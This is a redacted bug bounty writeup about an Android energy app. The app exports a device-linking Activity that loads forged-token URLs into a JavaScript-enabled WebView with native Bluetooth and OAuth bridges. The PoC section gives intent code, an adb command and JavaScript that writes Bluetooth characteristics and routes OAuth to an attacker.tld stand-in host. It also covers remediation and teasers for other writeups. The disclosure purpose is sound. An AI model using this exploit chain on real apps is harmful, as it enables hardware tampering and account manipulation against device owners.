Hijacking a trusted app's WebView via an exported Android Activity
TL;DR — An energy app shipped a device-linking SDK whose Activity was exported with no permission, parsed an unsigned base64 token, and loaded attacker URLs into a JS-enabled WebView wired to native Bluetooth + OAuth bridges. A redacted writeup of an accepted finding.
An accepted mobile finding from a private program (a European energy provider's blackbox bug bounty). The app, package, SDK and class names are redacted; the pattern is a classic Android pitfall worth knowing by heart.
TL;DR
The app shipped a third-party "device-linking" SDK that registered an exported Activity with no permission protection — so any app on the device could launch it. That Activity:
- read a URL from an intent extra parsed as unsigned base64 JSON (no signature, no integrity check),
- loaded it into a WebView with no host/origin allowlist, and
- that WebView had
setJavaScriptEnabled(true)plus two native JavaScript bridges.
So a zero-permission app could make the trusted app render attacker-controlled web content inside its own WebView, with that JavaScript inheriting native Bluetooth (GATT) and OAuth bridges.
Class: Improper Access Control (CWE-284). Status: accepted.
The chain, from the decompiled code
Walking the app in jadx, the pieces lined up:
- The Activity read
getStringExtra("LinkToken")(and a dev-onlyURL_OVERRIDE). LinkTokenwasBase64.decode+ JSON deserialize — no signature / HMAC — so thelinkUrlinside it is attacker-controlled.- The "sanitizer" returned the URL unchanged — no host allowlist.
initWebView()didsetJavaScriptEnabled(true), thenaddJavascriptInterface(...)for anAndroidBluetoothbridge (a full Web-Bluetooth-to-native GATT surface:requestDevice,gattConnect,readCharacteristic,writeCharacteristic, …) and anAndroidOAuthbridge (oauth(authorizeUrl, interceptUrl, returnUrl, headers)), thenloadUrl(urlToLoad).
This isn't a "vulnerable library version" issue — it's the app exporting a component with a demonstrated, weaponisable attack path.
PoC
A malicious, zero-permission app forges the token (a self-contained data: page needs no server, and also sidesteps the cleartext-traffic block) and launches the exported Activity:
// decodes to {"linkUrl":"data:text/html;base64,<attacker html>"}
val token = "eyJsaW5rVXJsIjogImRhdGE6..." // base64(JSON) — no signature needed
val i = Intent()
.setClassName("com.<redacted>", "io.<redacted>.link.LinkKit")
.putExtra("LinkToken", token)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
startActivity(i)
Reproduced from a shell too:
adb shell am start -n com.<redacted>/io.<redacted>.link.LinkKit \
--es LinkToken 'eyJsaW5rVXJsIjogImRhdGE6...'
Inside the trusted app's WebView, the attacker's JS reaches native:
typeof AndroidBluetooth; // "object"
typeof AndroidOAuth; // "object"
AndroidBluetooth.gattConnect("poc", JSON.stringify({address:"AA:BB:CC:DD:EE:FF"}));
AndroidBluetooth.writeCharacteristic("poc",
JSON.stringify({address:"..", serviceUUID:"..", characteristicUUID:"..", hex:"deadbeef"}));
AndroidOAuth.oauth("https://attacker.tld/authorize",
"https://attacker.tld/intercept", "https://attacker.tld/return", "{}");logcat confirmed the exported Activity being started by an external UID with the forged extras.
Risk
Any app the user installs — no permissions, nothing suspicious — could silently make the trusted app:
- talk to the victim's Bluetooth energy hardware — enumerate, connect, read, and write GATT characteristics (an integrity/safety concern for an EV charger or smart-charging device, not just info disclosure), and select a device without showing the in-app picker;
- drive/observe the OAuth device-linking flow (attacker-chosen
authorizeUrl+ headers, captured redirect params), to manipulate which third-party account is linked; - render arbitrary content inside the genuine app UI — a convincing in-app phishing surface under the real app's identity.
Honest scope-bounding (verified): the app's session/refresh tokens were stored under a non-exportable Android Keystore key and were not reachable from any WebView bridge — so this did not by itself yield token theft or account takeover; the WebView was also fail-closed on TLS errors. Stating what a bug doesn't do is part of a credible report — it's a big reason this one landed cleanly.
Remediation
- Scope the JS bridges to trusted origins only — attach them when the loaded origin is on the allowlist,
removeJavascriptInterface(...)otherwise. - Remove the
URL_OVERRIDEdeveloper override from release builds. - Make the Activity non-exported, or guard it with a signature-level permission, if only the app itself should launch it.
- Validate scheme/host for every deep-link handler.
Lesson
android:exported="true" + an unauthenticated WebView + addJavascriptInterface is one of the most reliable mobile-finding patterns there is. Whenever you see an exported component, ask three questions: what does it load, who controls that input, and what can the loaded page touch?
Path traversal to a constrained SSRF: reading an internal Drupal host
A public content-listing endpoint accepted ../ sequences in a path parameter and relayed them to an internal Drupal backend, returning internal JSON the Internet can't reach. A redacted SSRF writeup.
Unauthenticated IDOR in a contract-confirmation flow (PII-hash disclosure)
An endpoint that needed no auth, ignored the user ID, and keyed on a sequential contract ID — leaking an internal GUID and md5(email) for any contract. A redacted writeup of an accepted finding.